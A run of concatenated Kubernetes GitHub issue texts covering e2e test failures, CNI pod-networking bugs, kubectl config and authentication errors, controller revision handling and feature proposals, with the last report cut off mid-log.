see  25355.  users want to be able to query the allocated resources for nodes and currently do this through  kubectl describe  which is both very inefficient as well as hard to parse the data out of.

csi team is moving the go client into its own repository   28559 , which is awesome.  the cronetes project, http://github.com/wercker/cronetes, provides a kubernetes controller for scheduled jobs.  it vendors a lot of kubernetes go code.  it would be a good validation of the go client effort if that project can easily switch to using the new client-go repo.  @hatchan is the author of cronetes, and may be interested.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/41650/pull-kubernetes-e2e-gce/19306/\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:82\r expected error:\r     < errors.errorstring | 0xc420ac3f40>: {\r         s: \ error waiting for deployment \\\ test-rollback-deployment\\\   got 6 / gcr.io/google_containers/redis:e2e  and new replica set \\\ test-rollback-deployment-3992250386\\\   got 6 / gcr.io/google_containers/redis:e2e  revision and image to match expectation  expected 4 / gcr.io/google_containers/redis:e2e : deployment \\\ test-rollback-deployment\\\  doesn't have the required revision set\ ,\r     }\r     error waiting for deployment \ test-rollback-deployment\   got 6 / gcr.io/google_containers/redis:e2e  and new replica set \ test-rollback-deployment-3992250386\   got 6 / gcr.io/google_containers/redis:e2e  revision and image to match expectation  expected 4 / gcr.io/google_containers/redis:e2e : deployment \ test-rollback-deployment\  doesn't have the required revision set\r not to have occurred\r    \r \r @kargakis

failure cluster  9d0576c1844472e7cc6b  https://go.k8s.io/triage 9d0576c1844472e7cc6b        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:215 expected success, but got an error:     < errors.statuserror | 0xc420336000>: {         errstatus: {             typemeta: {kind: \ \ , apiversion: \ \ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ operation cannot be fulfilled on namespaces \\\ e2e-tests-dns-config-map-855l6\\\ : the system is ensuring all content is removed from this namespace.  upon completion, this namespace will automatically be purged by the system.\ ,             reason: \ conflict\ ,             details: {                 name: \ e2e-tests-dns-config-map-855l6\ ,                 group: \ \ ,                 kind: \ namespaces\ ,                 uid: \ \ ,                 causes: nil,                 retryafterseconds: 0,             },             code: 409,         },     }     operation cannot be fulfilled on namespaces \ e2e-tests-dns-config-map-855l6\ : the system is ensuring all content is removed from this namespace.  upon completion, this namespace will automatically be purged by the system. /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:718           failure cluster statistics: 1 tests failed,    3 jobs failed,    122 builds failed. failure stats cover 1 day time range '9 jun 2017 03:59 utc' to '10 jun 2017 03:59 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | beforesuite | 3 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-soak-gke-gci-test | 48 |  10 jun 2017 03:36 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-soak-gke-gci-test/2314  | | ci-kubernetes-soak-gke-test | 48 |  10 jun 2017 03:32 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-soak-gke-test/2609  | | ci-kubernetes-soak-gce-2-test | 26 |  10 jun 2017 03:24 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-soak-gce-2-test/2188  |   current status  https://go.k8s.io/triage 9d0576c1844472e7cc6b

is this a bug report or feature request?  :\r  \r   what happened  :\r in ubuntu 16.04.2 lts  gnu/linux 4.4.0-62-generic x86_64 , i installed k8s using kubeadm. after that i create two centos container using kubectl. when ping from one container to another container, it fails. i tried apring from one container to another container seems it works well.\r \r tcpdump show cni0 receives icmp msg from container veth but does not forward that packet to another veth of target container. brctl showmac show target mac is there.\r \r and i create two container using docker run, ping works well between those two container created by docker run. so it means docker environment works well docker-ce  using docker0.\r \r   what you expected to happen  :\r containers created by kubectl can talk eachother  i.e: ping works \r   how to reproduce it  as minimally and precisely as possible   :\r 1. install ubuntu vm 16.04.2 lts  gnu/linux 4.4.0-62-generic x86_64 \r 2. install k8s using kubeadm\r 3. create two container using kubectl\r 4. ping each in container\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r root@ubuntu:~  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t23:15:59z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.1\ , gitcommit:\ 1dc5c66f5dd61da08412a74221ecc79208c2165b\ , gittreestate:\ clean\ , builddate:\ 2017-07-14t01:48:01z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r root@ubuntu:~ \r \r - cloud provider or hardware configuration  :\r virt-manager create ubuntu vm\r - os  e.g. from /etc/os-release :\r 16.04.2 lts  gnu/linux 4.4.0-62-generic x86_64 \r - kernel  e.g.  uname -a  :\r 16.04.2 lts  gnu/linux 4.4.0-62-generic x86_64 \r \r - install tools:\r docker-ce, kubeadm, k8s\r - others:\r

we're currently having automated scale jobs running for ci scalability validation. but multiple other sigs/teams  e.g instrumentation, security, storage, autoscaler, scheduler etc  have recently started showing interest in scalability testing of features they're developing. the following are main requirements here imo:\r - be able to run scale testing from their local dev environments  without having to wait to push their changes to the repo and then waiting for them to be tested by our ci jobs \r - be able to do the above easily  ideally by just running a few commands \r - not worry about setting up correctly some special config specific to scale-testing  we should do most of this work for them already \r - ensure that they don't conflict with other jobs running alongside  wrt resource-naming and quotas \r \r i've started working on making infrastructural changes to solve the above problems.\r personally i love the fact that scalability validation is increasingly gaining traction  which it rightfully should  across the community : \r \r cc @kubernetes/sig-scalability-feature-requests @kubernetes/sig-testing-misc @wojtek-t @gmarek \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r    \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

kubectl rollout undo  assumes the revision content stored in a controllerrevision applies to a fixed group/version. the content currently placed in a controller revision by the statefulset and daemonset controllers happens to be patch content of the pod template spec located at a consistent json path, but that is not guaranteed by the api.\r \r the  rollout undo  commands should determine which version to apply the  undo  patch to from the information recorded in the controllerrevision  possibly the .metadata.ownerreferences @controller==true  kind/apiversion \r \r   /cc @kow3ns

follow up on https://github.com/kubernetes/kubernetes/pull/62063 - add a constructor that optionally validates that the contents of unstructured are only valid json types. see https://github.com/kubernetes/kubernetes/pull/62063 issuecomment-378430512.\r \r   /assign\r \r fyi @sttts

is this a bug report or feature request?  :\r  \r   what happened  :\r the change here removes exiternal id, but the call to instance id was not made used at all, it will always return false.\r https://github.com/kubernetes/kubernetes/pull/60692/files diff-a1ff61328540d76c791d919f71da4ad5r423\r \r    \r // monitornode here, calls ensurenodeexistsbyprovideridorinstanceid, but provider id is not populated\r i0427 02:48:54.917288       1 node_controller.go:260  deleting node since it is no longer present in cloud provider: k8s-master-40525011-0\r i0427 02:48:54.917319       1 node_controller.go:268  recording deletingnode event message for node k8s-master-40525011-0\r i0427 02:48:54.917644       1 event.go:218  event v1.objectreference{kind:\ node\ , namespace:\ \ , name:\ k8s-master-40525011-0\ , uid:\ 7b9fc07c-49c5-11e8-abb4-000d3a179d0f\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'deleting node k8s-master-40525011-0 because it's not present according to cloud provider' node k8s-master-40525011-0 event: deletingnode\r \r // addcloudnode here, provider id is populated\r i0427 02:48:55.147050       1 node_controller.go:375  adding node label from cloud provider: failure-domain.beta.kubernetes.io/zone=0\r i0427 02:48:55.147127       1 node_controller.go:379  adding node label from cloud provider: failure-domain.beta.kubernetes.io/region=ea\r \r // trying to set provider id, but the node was just removed.\r e0427 02:48:55.240801       1 node_controller.go:396  nodes \ k8s-master-40525011-0\  not found\r    \r \r at this time no node was able to register\r \r   what you expected to happen  :\r providerid was used in check  ensurenodeexistsbyprovideridorinstanceid \r \r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r    \r client version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.0-alpha.1\ , gitcommit:\ 4761788b2afa42a4573a6794902eb93fe666d5c5\ , gittreestate:\ clean\ , builddate:\ 2018-04-19t19:25:45z\ , goversion:\ go1.10.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.0-alpha.1\ , gitcommit:\ 4761788b2afa42a4573a6794902eb93fe666d5c5\ , gittreestate:\ clean\ , builddate:\ 2018-04-19t19:25:45z\ , goversion:\ go1.10.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r  \r   what happened  :\r the nodes seems died with bunch of error logs below\r    \r may 11 19:25:35 ip-xx-xxx-xx-xxx kubelet 2583 : e0511 19:25:35.523245    2583 summary.go:92  failed to get system container stats for \ /system.slice/kubelet.service\ : failed to get cgroup stats for \ /system.slice/kubelet.service\ : failed to get container info for \ /system.slice/kubelet.service\ : unknown container \ /system.slice/kubelet.service\ \r may 11 19:25:35 ip-xx-xxx-xx-xxx kubelet 2583 : e0511 19:25:35.523270    2583 summary.go:92  failed to get system container stats for \ /system.slice/docker.service\ : failed to get cgroup stats for \ /system.slice/docker.service\ : failed to get container info for \ /system.slice/docker.service\ : unknown container \ /system.slice/docker.service\ \r may 11 19:25:45 ip-xx-xxx-xx-xxx kubelet 2583 : e0511 19:25:45.531212    2583 summary.go:92  failed to get system container stats for \ /system.slice/kubelet.service\ : failed to get cgroup stats for \ /system.slice/kubelet.service\ : failed to get container info for \ /system.slice/kubelet.service\ : unknown container \ /system.slice/kubelet.service\ \r may 11 19:25:45 ip-xx-xxx-xx-xxx kubelet 2583 : e0511 19:25:45.531237    2583 summary.go:92  failed to get system container stats for \ /system.slice/docker.service\ : failed to get cgroup stats for \ /system.slice/docker.service\ : failed to get container info for \ /system.slice/docker.service\ : unknown container \ /system.slice/docker.service\ \r may 11 19:25:45 ip-xx-xxx-xx-xxx systemd 1 : starting run docker-healthcheck once...\r may 11 19:25:45 ip-xx-xxx-xx-xxx docker-healthcheck 25460 : docker healthy\r    \r that caused the node with error message as  container runtime is down,pleg is not healthy: pleg was last seen active 2h15m25.650316157s ago; threshold is 3m0s \r \r on the apps side, we have seen,  java.lang.outofmemoryerror: unable to create new native thread \r \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.7\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : debian jessie\r - kernel  e.g.  uname -a  : 4.4.115-k8s\r - install tools: kops 1.9.0\r - cni: weave  weaveworks/weave-kube:2.3.0 \r

there are several use cases where knowing what protocols a port on a container in a pod actually supports would affect information presented to end users.  ex 1: i have a container in a pod exposing port 8080, do we show a clickable link in the gui?  right now we have to assume it exposes http s  and always show the link, or never show a link.  if the port was annotated to say that it supported http s  we would know for sure.  ex 2: i have a container in a pod exposing port 8080, i don't have any services routing to the pod.  should i recommend to the end user that they create a service?  if the port were annotated to say that it exposes http s  then we would be more likely to suggest they create a service than if it was annotated to expose a different protocol.

testgrid: https://k8s-testgrid.appspot.com/sig-release-master-blocking gce-scale-performance\r \r logs: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/229\r \r this isn't an uncommon flake, but it seems to be happening more this week, with 4 failures out of the last 7 runs.  has something changed to push us closer to the timeout boundary?  coredns?\r \r   /

 \r i already posted a question about this on stackoverflow, which got one question about what version i'm using, and that's all. i'll include the version info here.\r \r we have a situation where we can consistently get errors like this:\r    \r % kubectl --namespace ... --server ... --insecure-skip-tls-verify=true --token ... --kubeconfig default.config get pods\r error: more than one authentication method found for tier-two-user; found  token basicauth , only one is allowed\r    \r our \ default.config\  file looks something like this:\r    \r apiversion: v1\r clusters:\r - cluster:\r     insecure-skip-tls-verify: true\r     server: ...\r   name: metrics\r - cluster:\r     insecure-skip-tls-verify: true\r     server: ...\r   name: target\r contexts:\r - context:\r     cluster: target\r     user: tier-two-user\r   name: ...\r - context:\r     cluster: metrics\r     user: ...\r   name: metrics\r current-context: ...\r kind: config\r preferences: {}\r users:\r - name: ...\r   user:\r     token: ...\r - name: tier-two-user\r   user:\r     password: ...\r     username: ...\r    \r from the context of the config file and our parameters, it makes it seem like kubectl thinks the \ --token\  parameter is a continuation of the \ user\  block in the config file.\r \r it appears that using a config file with a different structure avoids the problem, but i'm uncomfortable with that situation. we need a definitive solution for this that doesn't involve guessing.\r \r % kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:17:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.5+coreos.0\ , gitcommit:\ b8e596026feda7b97f4337b115d1a9a250afa8ac\ , gittreestate:\ clean\ , builddate:\ 2017-12-12t11:01:08z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r

if you edit a service via etcd directly so that there is a syntax error, the api server pours errors every few hundred milliseconds of the form :      e0504 16:45:43.556545   16230 errors.go:66  apiserver received an error that is not an api.status: empty input ....      on a call to /api/v1beta3/services  probably the publish controller .

  /assign sttts\r \r because the controller that maintains the condition runs multiple instances in ha apiserver clusters, the controller must not duel in cases where the validation messages change slightly between releases

i wonder if there is a way to get http  access  logs for kubernetes services. ideally it would look similar to logs provided by haproxy: http://cbonte.github.io/haproxy-dconv/configuration-1.5.html 8.2.3  i guess it would be helpful in investigating issues in microservices environment.

whenever a client is requested from the client cache, it negotiates a version with the api server  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/cmd/util/clientcache.go l63 .  for longer latency connections, this adds noticeable delays to every  kubectl  command to gather information that doesn't change very often.  if we don't change our approach, this problem will be exacerbated by api groups and discovery.  instead of requesting the information every call, we could cache the api-version information locally.  based on that cache, the client could choose a preferred version and simply force the  restclient  to that particular version.  if we update the api server to add additional headers to the 404 returned when an invalid version is specified, the client could unambiguously know that the api-version is no longer valid.  at that point we could clear the cache, give a good error message, and re-populate it on next  kubectl  command.  i like the idea of a separate cache instead of re-using something like a kubeconfig file, because there's no real reason for user intervention.  i'd like to allow our tooling to mutate the local cache at will and kubeconfig files aren't the right place to make those kinds of modifications.  @smarterclayton @jlowdermilk @liggitt @kubernetes/kube-api @kubernetes/kubectl

i would like the ability to define a hook to commit a container, and push its resulting image to a registry after its completed execution on the local node via a new policy on the pod.  the use case is for a run-once pod whose result represents an image that should be pushed to a registry for consumption by other actors in the system.  to do this today, your container needs access to the docker socket to launch its own container, do the commit, and push outside the knowledge of the kubelet/scheduler unaware of actual capacity on the node.  want to open the issue for discussion, and if it has merit from community, will look to move to a design proposal.  /cc @smarterclayton @ncdc @csrwng @bparees  /cc @kubernetes/goog-control-plane @kubernetes/goog-node

reported here: https://github.com/golang/go/issues/14396 issuecomment-195498998  if true, this is a time bomb waiting to happen.

it'd be especially useful for commands like  kubectl run ,  kubectl expose . make  kubectl  functionality more discoverable.   an idea from @lavalamp.  cc @kubernetes/kubectl

kubelet currently exposes  outofdisk  condition with  status  set to  false  by default. why expose that condition unless outofdisk condition was observed?  cc @dchen1107 @bgrant0607

is this a bug report or feature request?    choose one : bug report\r   kubernetes version    use  kubectl version  : pr builder\r   environment  : node e2e\r   what happened  :\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/35937/pull-kubernetes-node-e2e/2594/ failed with:\r \r    \r w1031 16:04:18.750  e1031 16:04:18.749832     927 remote.go:205  failed to configured firewall: command  ssh -i /home/jenkins/.ssh/google_compute_engine -o userknownhostsfile=/dev/null -o identitiesonly=yes -o checkhostip=no -o stricthostkeychecking=no -o serveraliveinterval=30 -o loglevel=error 104.154.157.63 -- sudo sh -c 'iptables -l input | grep \ chain input  policy drop \ && iptables -c input -w -p tcp -j accept || iptables -a input -w -p tcp -j accept && iptables -c input -w -p udp -j accept || iptables -a input -w -p udp -j accept && iptables -c input -w -p icmp -j accept || iptables -a input -w -p icmp -j accept '  failed with error: exit status 1 and output:\r w1031 16:04:18.750   output: \r w1031 16:04:18.926  e1031 16:04:18.926145     927 remote.go:214  failed to configured firewall: command  ssh -i /home/jenkins/.ssh/google_compute_engine -o userknownhostsfile=/dev/null -o identitiesonly=yes -o checkhostip=no -o stricthostkeychecking=no -o serveraliveinterval=30 -o loglevel=error 104.154.157.63 -- sudo sh -c 'iptables -l forward | grep \ chain forward  policy drop \  > /dev/null&& iptables -c forward -w -p tcp -j accept || iptables -a forward -w -p tcp -j accept && iptables -c forward -w -p udp -j accept || iptables -a forward -w -p udp -j accept && iptables -c forward -w -p icmp -j accept || iptables -a forward -w -p icmp -j accept '  failed with error: exit status 1 and output:\r w1031 16:04:18.926   output: \r  ... \r i1031 16:09:27.415  unable to create gce instance with running docker daemon for image e2e-node-ubuntu-trusty-docker10-v1-image.  instance tmp-node-e2e-ab46b372-e2e-node-ubuntu-trusty-docker10-v1-image not running docker daemon - command failed: permission denied  publickey .\r    \r \r   what you expected to happen  : not that.\r   how to reproduce it    as minimally and precisely as possible : pr  35937 seems to be doing a good job at it, but it looks like it came up in https://github.com/kubernetes/kubernetes/pull/35669 issuecomment-257542860 as well.\r \r cc @kubernetes/test-infra-maintainers \r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-aws/7026/  failed:  k8s.io  services should be able to up and down services {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:356 expected error:     < errors.errorstring | 0xc42068a070>: {         s: \ service verification failed for: 10.0.71.238\ expected  service2-izms5 service2-qq9ct service2-xz32v \ received  wget: download timed out \ ,     }     service verification failed for: 10.0.71.238     expected  service2-izms5 service2-qq9ct service2-xz32v      received  wget: download timed out  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:352       previous issues for this test:  26128  26685  33408

is this a bug report or feature request?    choose one :  bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :  1.5.1\r \r \r   environment  :\r -   cloud provider or hardware configuration  :  3x ubuntu 16.04 nodes running in vmware vsphere\r -   os    e.g. from /etc/os-release :  ubuntu 16.04\r -   kernel    e.g.  uname -a  :  4.4.0-57-generic\r -   install tools  :  kubeadm\r -   others  :  cni: canal  flannel + calico \r \r \r   what happened  :\r \r i originally opened  39658 to make canal cni work when the node's forward chain default policy is set to drop.  however, i realized that the drop policy was the root cause for why my other cni tests also were failing.  when either weave and flannel cni is used and kube-proxy has --masquerade-all enabled, pod to pod and pod to service communication fails.  specifically, kubernetes-dashboard and tiller-deploy fail to reach the kube-apiserver and enter a crash loop.  also, the kube-dns pod also crashes.\r \r <details>\r <summary>kubectl get pods --all-namespaces -o wide</summary>\r \r    \r deploy@ravi-kube196:~$ kubectl get pods --all-namespaces -o wide\r namespace     name                                    ready     status             restarts   age       ip               node\r kube-system   dummy-2088944543-flctq                  1/1       running            0          23m       10.163.148.197   ravi-kube197\r kube-system   etcd-ravi-kube196                       1/1       running            1          23m       10.163.148.196   ravi-kube196\r kube-system   kube-apiserver-ravi-kube196             1/1       running            1          23m       10.163.148.196   ravi-kube196\r kube-system   kube-controller-manager-ravi-kube196    1/1       running            1          23m       10.163.148.196   ravi-kube196\r kube-system   kube-discovery-1769846148-qdzsv         1/1       running            0          23m       10.163.148.196   ravi-kube196\r kube-system   kube-dns-2924299975-gz34l               3/4       running            18         23m       10.96.2.7        ravi-kube197\r kube-system   kube-flannel-ds-2f9tc                   2/2       running            0          23m       10.163.148.196   ravi-kube196\r kube-system   kube-flannel-ds-mgkk9                   2/2       running            0          23m       10.163.148.198   ravi-kube198\r kube-system   kube-flannel-ds-s8ktw                   2/2       running            0          23m       10.163.148.197   ravi-kube197\r kube-system   kube-proxy-3gxs7                        1/1       running            0          23m       10.163.148.196   ravi-kube196\r kube-system   kube-proxy-ftdp9                        1/1       running            0          23m       10.163.148.198   ravi-kube198\r kube-system   kube-proxy-rc0wv                        1/1       running            0          23m       10.163.148.197   ravi-kube197\r kube-system   kube-scheduler-ravi-kube196             1/1       running            1          23m       10.163.148.196   ravi-kube196\r kube-system   kubernetes-dashboard-3203831700-5vzdq   0/1       crashloopbackoff   8          23m       10.96.2.8        ravi-kube197\r kube-system   tiller-deploy-2885612843-jm143          0/1       crashloopbackoff   13         23m       10.96.1.12       ravi-kube198\r    \r </details>\r \r <details>\r <summary>kubectl logs --namespace=kube-system kubernetes-dashboard-3203831700-5vzdq</summary>\r \r    \r deploy@ravi-kube196:~$ kubectl logs --namespace=kube-system kubernetes-dashboard-3203831700-5vzdq\r using http port: 9090\r creating api server client for https://10.96.0.1:443\r error while initializing connection to kubernetes apiserver. this most likely means that the cluster is misconfigured  e.g., it has invalid apiserver certificates or service accounts configuration  or the --apiserver-host param points to a server that does not exist. reason: get https://10.96.0.1:443/version: dial tcp 10.96.0.1:443: i/o timeout\r refer to the troubleshooting guide for more information: https://github.com/kubernetes/dashboard/blob/master/docs/user-guide/troubleshooting.md\r    \r </details>\r \r <details>\r <summary>kubectl describe --namespace=kube-system pod kubernetes-dashboard-3203831700-5vzdq</summary>\r \r    \r deploy@ravi-kube196:~$ kubectl describe --namespace=kube-system pod kubernetes-dashboard-3203831700-5vzdq\r name:           kubernetes-dashboard-3203831700-5vzdq\r namespace:      kube-system\r node:           ravi-kube197/10.163.148.197\r start time:     thu, 12 jan 2017 20:18:59 +0000\r labels:         app=kubernetes-dashboard\r                 pod-template-hash=3203831700\r status:         running\r ip:             10.96.2.8\r controllers:    replicaset/kubernetes-dashboard-3203831700\r containers:\r   kubernetes-dashboard:\r     container id:       docker://5718b319fe4af33b97115a14cc17083bab078d868556cb4e2c6f93363da7a462\r     image:              gcr.io/google_containers/kubernetes-dashboard-amd64:v1.5.1\r     image id:           docker-pullable://gcr.io/google_containers/kubernetes-dashboard-amd64@sha256:46a09eb9c611e625e7de3fcf325cf78e629d002e57dc80348e9b0638338206b5\r     port:               9090/tcp\r     state:              running\r       started:          thu, 12 jan 2017 20:44:34 +0000\r     last state:         terminated\r       reason:           error\r       exit code:        1\r       started:          thu, 12 jan 2017 20:38:52 +0000\r       finished:         thu, 12 jan 2017 20:39:22 +0000\r     ready:              true\r     restart count:      9\r     liveness:           http-get http://:9090/ delay=30s timeout=30s period=10s  success=1  failure=3\r     volume mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-zfzvp  ro \r     environment variables:      <none>\r conditions:\r   type          status\r   initialized   true\r   ready         true\r   podscheduled  true\r volumes:\r   default-token-zfzvp:\r     type:       secret  a volume populated by a secret \r     secretname: default-token-zfzvp\r qos class:      besteffort\r tolerations:    dedicated=master:equal:noschedule\r events:\r   firstseen     lastseen        count   from                    subobjectpath                           type            reason          message\r   ---------     --------        -----   ----                    -------------                           --------        ------          -------\r   25m           25m             1       {default-scheduler }                                            normal          scheduled       successfully assigned kubernetes-dashboard-3203831700-5vzdq to ravi-kube197\r   25m           25m             1       {kubelet ravi-kube197}  spec.containers{kubernetes-dashboard}   normal          created         created container with docker id 8cee6d8c1fcd; security: seccomp=unconfined \r   25m           25m             1       {kubelet ravi-kube197}  spec.containers{kubernetes-dashboard}   normal          started         started container with docker id 8cee6d8c1fcd\r   25m           25m             1       {kubelet ravi-kube197}  spec.containers{kubernetes-dashboard}   normal          started         started container with docker id 1a9b25a74c94\r   25m           25m             1       {kubelet ravi-kube197}  spec.containers{kubernetes-dashboard}   normal          created         created container with docker id 1a9b25a74c94; security: seccomp=unconfined \r   24m           24m             2       {kubelet ravi-kube197}                                          warning         failedsync      error syncing pod, skipping: failed to \ startcontainer\  for \ kubernetes-dashboard\  with crashloopbackoff: \ back-off 10s restarting failed container=kubernetes-dashboard pod=kubernetes-dashboard-3203831700-5vzdq_kube-system 5a050ca2-d904-11e6-bec0-0050568a2a2f \ \r \r   24m   24m     1       {kubelet ravi-kube197}  spec.containers{kubernetes-dashboard}   normal  started         started container with docker id 2da001604ef9\r   24m   24m     1       {kubelet ravi-kube197}  spec.containers{kubernetes-dashboard}   normal  created         created container with docker id 2da001604ef9; security: seccomp=unconfined \r   23m   23m     2       {kubelet ravi-kube197}                                          warning failedsync      error syncing pod, skipping: failed to \ startcontainer\  for \ kubernetes-dashboard\  with crashloopbackoff: \ back-off 20s restarting failed container=kubernetes-dashboard pod=kubernetes-dashboard-3203831700-5vzdq_kube-system 5a050ca2-d904-11e6-bec0-0050568a2a2f \ \r \r   23m   23m     1       {kubelet ravi-kube197}  spec.containers{kubernetes-dashboard}   normal  started         started container with docker id 257a758141b0\r   23m   23m     1       {kubelet ravi-kube197}  spec.containers{kubernetes-dashboard}   normal  created         created container with docker id 257a758141b0; security: seccomp=unconfined \r   23m   22m     4       {kubelet ravi-kube197}                                          warning failedsync      error syncing pod, skipping: failed to \ startcontainer\  for \ kubernetes-dashboard\  with crashloopbackoff: \ back-off 40s restarting failed container=kubernetes-dashboard pod=kubernetes-dashboard-3203831700-5vzdq_kube-system 5a050ca2-d904-11e6-bec0-0050568a2a2f \ \r \r   22m   22m     1       {kubelet ravi-kube197}  spec.containers{kubernetes-dashboard}   normal  started         started container with docker id 3eb69d8169d6\r   22m   22m     1       {kubelet ravi-kube197}  spec.containers{kubernetes-dashboard}   normal  created         created container with docker id 3eb69d8169d6; security: seccomp=unconfined \r   21m   20m     7       {kubelet ravi-kube197}                                          warning failedsync      error syncing pod, skipping: failed to \ startcontainer\  for \ kubernetes-dashboard\  with crashloopbackoff: \ back-off 1m20s restarting failed container=kubernetes-dashboard pod=kubernetes-dashboard-3203831700-5vzdq_kube-system 5a050ca2-d904-11e6-bec0-0050568a2a2f \ \r \r   20m   20m     1       {kubelet ravi-kube197}  spec.containers{kubernetes-dashboard}   normal  created         created container with docker id 6244b99877be; security: seccomp=unconfined \r   20m   20m     1       {kubelet ravi-kube197}  spec.containers{kubernetes-dashboard}   normal  started         started container with docker id 6244b99877be\r   20m   20m     1       {kubelet ravi-kube197}  spec.containers{kubernetes-dashboard}   warning unhealthy       liveness probe failed: get http://10.96.2.8:9090/: dial tcp 10.96.2.8:9090: getsockopt: connection refused\r   19m   17m     13      {kubelet ravi-kube197}                                          warning failedsync      error syncing pod, skipping: failed to \ startcontainer\  for \ kubernetes-dashboard\  with crashloopbackoff: \ back-off 2m40s restarting failed container=kubernetes-dashboard pod=kubernetes-dashboard-3203831700-5vzdq_kube-system 5a050ca2-d904-11e6-bec0-0050568a2a2f \ \r \r   17m   17m     1       {kubelet ravi-kube197}  spec.containers{kubernetes-dashboard}   normal  created         created container with docker id 39a9bf9798a8; security: seccomp=unconfined \r   17m   17m     1       {kubelet ravi-kube197}  spec.containers{kubernetes-dashboard}   normal  started         started container with docker id 39a9bf9798a8\r   11m   11m     1       {kubelet ravi-kube197}  spec.containers{kubernetes-dashboard}   normal  created         created container with docker id 24a59311513f; security: seccomp=unconfined \r   11m   11m     1       {kubelet ravi-kube197}  spec.containers{kubernetes-dashboard}   normal  started         started container with docker id 24a59311513f\r   5m    5m      1       {kubelet ravi-kube197}  spec.containers{kubernetes-dashboard}   normal  started         started container with docker id b2970a8b9df9\r   5m    5m      1       {kubelet ravi-kube197}  spec.containers{kubernetes-dashboard}   normal  created         created container with docker id b2970a8b9df9; security: seccomp=unconfined \r   24m   29s     98      {kubelet ravi-kube197}  spec.containers{kubernetes-dashboard}   warning backoff         back-off restarting failed docker container\r   16m   29s     70      {kubelet ravi-kube197}                                          warning failedsync      error syncing pod, skipping: failed to \ startcontainer\  for \ kubernetes-dashboard\  with crashloopbackoff: \ back-off 5m0s restarting failed container=kubernetes-dashboard pod=kubernetes-dashboard-3203831700-5vzdq_kube-system 5a050ca2-d904-11e6-bec0-0050568a2a2f \ \r \r   25m   15s     10      {kubelet ravi-kube197}  spec.containers{kubernetes-dashboard}   normal  pulling pulling image \ gcr.io/google_containers/kubernetes-dashboard-amd64:v1.5.1\ \r   25m   15s     10      {kubelet ravi-kube197}  spec.containers{kubernetes-dashboard}   normal  pulled  successfully pulled image \ gcr.io/google_containers/kubernetes-dashboard-amd64:v1.5.1\ \r   15s   15s     1       {kubelet 